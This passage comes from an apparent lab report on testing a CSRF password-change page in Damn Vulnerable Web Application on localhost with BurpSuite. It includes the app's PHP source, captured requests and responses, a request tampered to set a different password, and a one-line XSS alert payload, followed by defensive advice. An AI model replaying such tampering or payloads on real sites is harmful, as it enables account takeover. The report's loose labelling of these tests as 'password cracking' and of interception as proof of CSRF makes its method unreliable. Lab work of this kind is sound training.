 <label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password">
 <p class="submit"><input type="submit" value="Login" name="Login"></p> </fieldset>
  <input type='hidden' name='user_token' value='5f96ab95e5bdb37c42267aeac413e527' />
   </form></body></html>                           

6.2.3 Enumeration
Tool – BurpSuite Sitemap/Scanner, Source Code
The Burpsuite site map section crawls the CSRF web page. The HTTP history contains information about the request and response, and the outputs are gathered as indicated below. The web page has a form for changing the website login password, the source code for the page, and a link to verify the current login credentials.

HTTP Request 
GET /DVWA/vulnerabilities/csrf/ HTTP/1.1
Host: 127.0.0.1
HTTP Response
HTTP/1.1 200 OK
Date: Sun, 07 Jan 2024 13:20:54 GMT
Server: Apache/2.4.57 (Debian) 
<html lang="en-GB">
--Header is truncated--
<body class="home">
<h1>Vulnerability: Cross Site Request Forgery (CSRF) </h1>
<div class="vulnerable_code_area">
<h3>Change your admin password: < /h3> 
<div id="test_credentials">
 <button onclick="testFunct ()">Test Credentials</button>
 <script>function testFunct () {
  window.open("../../vulnerabilities/csrf/test_credentials.php", "_blank", 
  "toolbar=yes, scrollbars=yes, resizable=yes, top=500, left=500, width=600, height=400");
}</script></div><form action="#" method="GET">
Current password:
<input type="password" AUTOCOMPLETE="off" name="password_current">
New password:
<input type="password" AUTOCOMPLETE="off" name="password_new">
Confirm new password:
<input type="password" AUTOCOMPLETE="off" name="password_conf">
<input type="submit" value="Change" name="Change">
<input type='hidden' name='user_token' value='10d87ff7e303156ce143d5317faa743a' />
</form></div></body></html>

The CSRF Web page's source code is gathered, making it simple to describe the testing conditions and possible password reset choices in the next phases.
<?php 
if( isset( $_GET[ 'Change' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    // Get input 
    $pass_curr = $_GET[ 'password_current' ]; 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 
    // Sanitise current password input 
    $pass_curr = stripslashes( $pass_curr ); 
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
    $pass_curr = md5( $pass_curr ); 
    // Check that the current password is correct 
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); 
    $current_user = dvwaCurrentUser(); 
    $data->bindParam( ':user', $current_user, PDO::PARAM_STR ); 
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); 
    $data->execute(); 
    // Do both new passwords match and does the current password match the user? 
    if (( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { 
        // It does! 
        $pass_new = stripslashes( $pass_new ); 
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.” E_USER_ERROR))? "" : "")); 
        $pass_new = md5( $pass_new ); 
        // Update database with new password 
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); 
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); 
        $current_user = dvwaCurrentUser(); 
        $data->bindParam( ':user', $current_user, PDO::PARAM_STR ); 
        $data->execute(); 
        echo "<pre>Password Changed.</pre>"; 
    }   else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match or current password incorrect.</pre>"; 
    } } 
// Generate Anti-CSRF token 
generateSessionToken(); 
?> 

6.2.4 Password Cracking:
Tool – BurpSuite Repeater
To reset a password, the CSRF web page provide three parameters that are used in the password cracking technique. Parameters are password_current, password_new, and password_conf. The application fails with the message "Passwords did not match or current password incorrect" when an erroneous current password is entered into the password_current parameter. If the password_current parameter entry is provided for both password_new and password_conf, the same condition is applicable. Furthermore, an error message stating that there is a password mismatch, gets displayed when the password_new and the password_conf parameters are submitted with different password values.
Case: 1
HTTP Request 
GET /DVWA/vulnerabilities/csrf/index.php?password_current=pass123&password_new=password123&password_conf=password123&Change=Change&user_token=b12ad98068131568e6bcab4a2eb90671 HTTP/1.1
Host: 127.0.0.1
HTTP Response
HTTP/1.1 200 OK
Date: Sun, 07 Jan 2024 14:31:48 GMT
Server: Apache/2.4.57 (Debian)
<html lang="en-GB">
--Header is truncated--
<body class="home"><div id="container">
<div id="main_body"><div class="body_padded">
<h1>Vulnerability: Cross Site Request Forgery (CSRF)</h1>
<div class="vulnerable_code_area">
<h3>Change your admin password:</h3>
<div id="test_credentials">
 <button onclick="testFunct()">Test Credentials</button>
 <script>function testFunct() {
 window.open("../../vulnerabilities/csrf/test_credentials.php", "_blank", 
  "toolbar=yes, scrollbars=yes, resizable=yes, top=500, left=500, width=600, height=400");
</script></div><form action="#" method="GET">
Current password:
<input type="password" AUTOCOMPLETE="off" name="password_current">
New password:
<input type="password" AUTOCOMPLETE="off" name="password_new">
Confirm new password:
<input type="password" AUTOCOMPLETE="off" name="password_conf">
<input type="submit" value="Change" name="Change"></form>
<pre>Passwords did not match or current password incorrect.</pre>
</div></div></div></body></html>

Case: 2 
HTTP Request 
GET /DVWA/vulnerabilities/csrf/index.php?password_current=password&password_new=password123&password_conf=password&Change=Change&user_token=40b70c82bab88e7eccd192283bdc028d HTTP/1.1
Host: 127.0.0.1
HTTP Response
HTTP/1.1 200 OK
Date: Sun, 07 Jan 2024 14:34:40 GMT
Server: Apache/2.4.57 (Debian)
<html lang="en-GB">
--Header is truncated—
<body class="home">
<div id="container"><div id="main_body"><div class="body_padded">
<h1>Vulnerability: Cross Site Request Forgery (CSRF)</h1>
<div class="vulnerable_code_area">
<h3>Change your admin password:</h3>
<div id="test_credentials">
 <button onclick="testFunct()">Test Credentials</button>
 <script>function testFunct() {
  window.open("../../vulnerabilities/csrf/test_credentials.php", "_blank", 
  "toolbar=yes,scrollbars=yes,resizable=yes,top=500,left=500,width=600,height=400");
}</script></div><form action="#" method="GET">
Current password:
<input type="password" AUTOCOMPLETE="off" name="password_current">
New password:
<input type="password" AUTOCOMPLETE="off" name="password_new">
Confirm new password:
<input type="password" AUTOCOMPLETE="off" name="password_conf">
<input type="submit" value="Change" name="Change">
</form><pre>Passwords did not match or current password incorrect.</pre>
</div></div></div></body></html>

6.2.5 Vulnerability Assessment
Tool – BurpSuite Intercept
In Burpsuite Intercept, the password for the web application is reset. The user attempts to change the password to password123, but as can be seen below, in the intercepted request the password is changed to password786. The password is reset and the web page displays the message "Password Changed" when Burpsuite generates the response. The web application is susceptible to CSRF Vulnerability.

HTTP Request 
GET /DVWA/vulnerabilities/csrf/index.php?password_current=password&password_new=password786&password_conf=password786&Change=Change&user_token=22cac318530a7332734c4c901bfcb2a0 HTTP/1.1
Host: 127.0.0.1
HTTP Response
HTTP/1.1 200 OK
Date: Sun, 07 Jan 2024 14:38:54 GMT
Server: Apache/2.4.57 (Debian)
<html lang="en-GB">
--Header is truncated--
<body class="home"><div id="container">
<div id="main_body"><div class="body_padded">
<h1>Vulnerability: Cross Site Request Forgery (CSRF)</h1>
<div class="vulnerable_code_area">
<h3>Change your admin password:</h3>
<div id="test_credentials">
 <button onclick="testFunct()">Test Credentials</button>
 <script>function testFunct() {
  window.open("../../vulnerabilities/csrf/test_credentials.php", "_blank", 
  "toolbar=yes, scrollbars=yes, resizable=yes, top=500, left=500, width=600, height=400");
} </script></div>
<form action="#" method="GET">
Current password:
<input type="password" AUTOCOMPLETE="off" name="password_current"> 
New password:
<input type="password" AUTOCOMPLETE="off" name="password_new"> 
Confirm new password:
<input type="password" AUTOCOMPLETE="off" name="password_conf">
<input type="submit" value="Change" name="Change">
</form><pre>Password Changed.</pre>
</div></div></div></body></html>

Moreover, a Cross-Site Scripting attack with three parameters can be conducted against this login form. This <script>alert("Hello World!")<script>; cross-site script is utilized. The output messages are exactly the same as those that are previously explained for the password cracking scenarios.

6.2.6 Final Report
- BurpSuite's crawling functionality allows us to ascertain that the system is operating a Damn Vulnerable Web Application.
- We found the website login page by using the curl command on the crawled site.
- In addition, the CSRF password reset page is identified when crawling the website.
- Several password cracking techniques are tested, and it is discovered that the CSRF password reset webpage is vulnerable.

Conclusion:
In summary, website owners can take a number of precautions against cross-site request forgeries (CSRF) attacks, including employing distinct CSRF tokens for every user session, confirming the HTTP Referer header, and adopting same-site and HTTP-only cookies. 

A CSRF token should not be sent in a cookie for synchronized patterns, even though they are utilized for every user session. A CSRF token cannot be seen in server logs, browser history, network tools that capture the initial line of an HTTP request, or Referer headers on protected websites.
Tokens in the login form and the creation of pre-sessions where a user session is authenticated are two ways to reduce login CSRF. A web developer can create and implement the code necessary to run CSRF tokens on the web server. [26]
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